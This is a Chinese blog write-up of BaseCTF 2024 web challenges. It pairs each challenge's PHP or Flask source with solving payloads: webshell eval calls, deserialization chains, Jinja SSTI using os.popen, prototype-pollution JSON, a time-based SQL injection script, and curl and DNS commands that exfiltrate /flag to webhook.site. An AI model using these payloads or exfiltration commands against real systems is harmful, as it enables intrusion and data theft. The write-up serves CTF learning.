前言

1
2
3
诶诶 打的minvn被自己菜哭了,感悟很深也是深深emo了,但是没有关系我一定会变成大魔王杀回来的【蹲个2月的vnctf】。
说到着又得感谢sun了,他把我的ctf的路拉到正路上,才有后面的这些
哎,会变好的,深感自己的不足,再沉淀沉淀。

base2024ctf

1
2
3
https://gz.imxbt.cn/
https://luokuang1.github.io/2024/09/25/BaseCTF2024%E9%A2%98%E8%A7%A3/
省流:官wp是pdf忘记链接在哪了,没最后0解和cve

web

week1

喵喵喵

一句话木马的连接使用

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>
1
http://challenge.imxbt.cn:30114/?DT=system(%22cat%20/flag%22);

md5绕过欸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {
echo '没看到参数呐';
}
?> 没看到参数呐
1
2
/?name=QNKCDZO&name2[]=1
password=240610708&password2[]=2

HTTP是什么呀

image-20251009191711573

后面是进⾏了两次重定向,抓包获得flag然后base64解密就好了

ADarkRoom

image-20251009191927127

Upload

1
快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

常规文件上传 木马连接找flag

image-20251009192648476

Aura 酱的礼物

php伪协议的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 这是 Aura 的礼物,你不是 Aura!
1
2
3
data://text/plain,Aura
http://jasmineaura.github.io@127.0.0.1
php://filter/convert.base64-encode/resource=flag.php

week2

ez_ser

php的反序列化

1
2
3
4
5
6
7
8
__construct():具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__sleep()方法在一个对象被序列化之前调用;
__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
get(),set() 当调用或设置一个类及其父类方法中未定义的属性时
__invoke() 调用函数的方式调用一个对象时的回应方法
call 和 callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。

image-20251010145440893

1
2
3
⻅⼀个__wakeup魔术⽅法,并且将kw当做了⼀个字符串输出,所以就想到了⾛__tostirng⽅法,令kw为re的对象,再把chu0赋值,然后在这个⽅法最后⾯⽤chu0调⽤了nononono,那么可以看到整个源码中都没有这个属性,所以可以想到_get()魔术⽅法。可以看到有个_get()⽅法,那么最后⾯就⼀样了,调⽤over为misc对象即可。

web -> re -> pwn -> Misc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}
$a=new re();
$b=new web();
$c=new pwn();
$d=new Misc();

$b ->kw=$a;
$a ->chu0=$c;
$c ->dusk="gods";
$c ->over=$d;

echo serialize($c);
?>

⼀起吃⾖⾖

禁了查看源代码,右键检查直接看,找到index.js,base64解码

image-20251010151535184

你听不到我的声⾳

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

shell_exec 不会将执⾏结果直接输出, 我们需要⽤其他⽅式进⾏外带

外带思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
• 重定向到⽂件
我们可以⽤流重定向符号来将输出内容重定向到⽂件中, 在通过浏览器进⾏下载
1 cmd_here > 1.txt
然后就可以通过访问 1.txt 获取到输出内容了

• 通过 curl 外带
我们可以通过 https://webhook.site/ 来进⾏数据外带, 我们可以拿到这样⼀个链接
https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb
此时这个路径下的所有请求都会被记录
于是我们可以通过shell指令:
curl https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb/`cat /flag |
base64`

• Dnslog 外带
Dnslog 的话可以使⽤国内的 dnslog.cn 不稳定
也可⽤在刚刚那⾥的 webhook 下⾯有个 dnshook
此时我们可以⽤ ping 外带
1 ping `cat /flag | base64`.xxxxxxx.dnshook.site

• 直接写⻢
或者我们可以利⽤指令写⻢, ⽤ wget, curl 下载⽊⻢

image-20251010152557120

RCEisamazingwithspace

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
空格过滤
4.1 %20空格绕过
是 URL 编码的空格
?c=system("tac%20flag.php")

4.2 %09空格绕过
%09 是 URL 编码中的水平制表符(Tab,ASCII 码为 9),它的作用是将 tac 后面的 fla* 和前面的部分隔开,通常它不会影响命令的执行,只是空格的替代。
?c=system("tac%09flag.php");

4.3 $IFS$9空格绕过
$IFS 是一个特殊的环境变量,表示 Internal Field Separator(内部字段分隔符),默认情况下,$IFS 的值包含空格、制表符和换行符。$9是命令行参数的占位符之一,会被解析为空字符串。两者结合可以起到空格的作用
?c=system("tac$IFS$9flag.php");

4.4 ${IFS}绕过
?c=system("tac${IFS}flag.php")
4.5 <空格绕过
?c=system("tac<fla*");
< 是 输入重定向符号,用于将文件内容作为命令的输入,可以用于空格绕过。

cat$IFS$9/flag

所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?
1
apple%5B%5D=1&banana%5B%5D=2&appple=QNKCDZO&bananana=240610708&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=bf06e69ad2479becab3c61e8b268403c

image-20251010191244067

Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

image-20251202205505747

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Sink
{
private $cmd = 'system("cat /flag");';
}

class Shark
{
private $word = 'Hello, World!';

public function setWord($word)
{
$this->word = $word;
}
}
class Sea
{
public $animal;
}

class Nature
{
public $sea;
}

$nature=new Nature();
$sea=new Sea();
$shark=new Shark();
$sink=new Sink();

$nature->sea=$sea;
$sea->animal=$shark;
$shark->setword($sink);
echo urlencode(serialize($nature));
?>

数学大师

直接跑脚本就好了,贴个官p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import re

req = requests.session()
url = "http://challenge.imxbt.cn:31149/"

answer = 0
max_attempts = 100 # 防止无限循环
attempt = 0

while attempt < max_attempts:
attempt += 1

try:
# 发送当前答案
response = req.post(url, data={"answer": str(answer)}, timeout=5)
response_text = response.text

print(f"Attempt {attempt}:")
print(response_text)

# 检查是否成功
if "BaseCTF" in response_text:
print("Flag found!")
print(response_text)
break

# 提取数学表达式
regex = r"(\d+)\s*([+×÷-])\s*(\d+)\s*\?"
match = re.search(regex, response_text)

if not match:
print("No math expression found!")
break

num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))

# 计算答案
if operator == "+":
answer = num1 + num2
elif operator == "-":
answer = num1 - num2
elif operator == "×":
answer = num1 * num2
elif operator == "÷":
answer = num1 // num2
else:
print(f"Unknown operator: {operator}")
break

print(f"Calculated: {num1} {operator} {num2} = {answer}")

except Exception as e:
print(f"Error occurred: {str(e)}")
break

if attempt >= max_attempts:
print("Reached maximum attempts without finding the flag.")

week3

复读机

1
经典的SSTI,过滤了⼀些关键字和⼀些符号
1
2
BaseCTF{%print(''['_''_cl''ass_''_'])%}
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_'] ())%}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

# 将查找到的父类列表替换到data中
data = r'''

'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)
1
2
3
4
5
6
7
8
100: _frozen_importlib._ModuleLock
101: _frozen_importlib._DummyModuleLock
102: _frozen_importlib._ModuleLockManager
102: _frozen_importlib._ModuleLockManager
103: _frozen_importlib.ModuleSpec
137: os._wrap_close
240: warnings.catch_warnings
367: subprocess.Popen
1
2
3
4
5
6
环境变量绕过/
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

OLDPWD=/
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat
flag')['rea''d']())%}

滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
写出程序员的第一行问候吧!
1
文件包含日志文件,ua头写马

image-20251202231353120

玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}

function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

echo json_encode($flag);
} 错了!就你还想玩原神?❌❌❌
1
2
3
4
5
6
7
8
9
10
11
12
import requests
url="http://challenge.imxbt.cn:31692/"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
resp=requests.post(url=url,data=data)
if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
print(resp.text)
print(i)
break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://challenge.imxbt.cn:31692/?tip=我要玩原神"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
# if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
# resp = requests.post(url=url, data=data)
# print(resp.text)
# print(i)
# break
if i==44:
data["m[0]"]="100%"
data["m[1]"]="love100%30bd7ce7de206924302499f197c7a966"
resp = requests.post(url=url, data=data)
print(resp.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);
include 'flag.php';
$challenge_url = "http://challenge.imxbt.cn:31692/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)
$get = "tip=" . urlencode("我要玩原神"); // $tip != "我要玩原神"
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';

$curl = curl_init();

// 修正数组语法 - 使用 array() 而不是 []
curl_setopt_array($curl, array(
CURLOPT_URL => $challenge_url . $get,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $post,
CURLOPT_HTTPHEADER => array(
'Content-Type: application/x-www-form-urlencoded',
),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);

if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';

for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}

echo "Flag: " . $flag;
?>

ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>


Welcome to My Jail
Do You Like My Jail?

image-20251203082719751

1
2
3
php内置函数来进行绕过
?Jail[by.Happy=highlight_file(implode(glob('/f*')));
?Jail[by.Happy=highlight_file(glob('/f*')[0]);

week4

圣钥之战1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
污染/file
{
"__init__":{
"__globals__":{
"__file__":"/flag"
}
}
}
污染/static
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
1
2
3
php的原生类读取
?K=DirectoryIterator&W=/secret/
J=SplFileObject&H=/secret/f11444g.php

No JWT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

image-20251203090118326

image-20251203090526755

image-20251203090538309

only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query); 没有select,让你执行一句又如何 没有select,让你执行一句又如何
1
输入的语句被控制在数据库中,所以应该只可以进行sql注入
1
2
3
show tables
show columns from flag
delete from flag where data like 'B%' and sleep(5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string

sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://challenge.imxbt.cn:30507/?sql=delete%20from%20flag%20where%20data%20like%20%27"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
for c in sqlstr:
payload = url +flag+ c + end
try:
r = requests.get(payload,timeout=4)
except:
print(flag+c)
flag+=c
break

Fin

Jinja Mark

1
原型链污染置空黑名单,进行ssti

image-20251203124315305

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"
1
2
3
4
5
6
7
{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index":""
}
}
}
1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>
114514到底是啥意思嘞?。?
1
2
3
正则回溯绕过
b要以php开头,用SplFileObject配合php伪协议
c是toString方法打印结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://101.37.149.223:32943/index.php"
params = {
'e[m.p': '114514.1',
'a': 'SplFileObject',
'b': 'php://filter/read=convert.base64-encode/resource=flag.php',
'c': '__toString'
}
data = {
'try': "-" * 1000001 + "HACKER"
}

res = requests.post(url, params=params, data=data)
print(res.text)

Lucky Number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}
1
原型链污染黑名单打ssti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"__init__":{
"__globals__":{
"heaven":{
"create":{
"__kwdefaults__":{
"confirm":"True",
"lucky_number":"5346"
}
}
}
}
}
}
1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

Back to the future

1
2
3
4
5
6
7
8
信息泄露 /robots.txt提示有/.git
https://github.com/WangYihang/GitHacker
pip install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com -r requirements.txt
python setup.py install
githacker --url http://challenge.imxbt.cn:30601/ --output back-future
cd back-future\63e93c577c72cf52e89eb9d33d5adead
git log
git checkout 9d85f10e0192ef630e10d7f876a117db41c30417

RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha
1
2
3
sql注入进行了过滤,sql注入就不可能了
mysql命令行程序的rce,查看环境变量
%0asystem export

Sql Inject or RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha
1
2
3
更新了限制system
delimiter+handler+read next来绕过
%0adelimiter+aa%0ahandler+flag+openaa%0ahandler+flag+read+next

ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
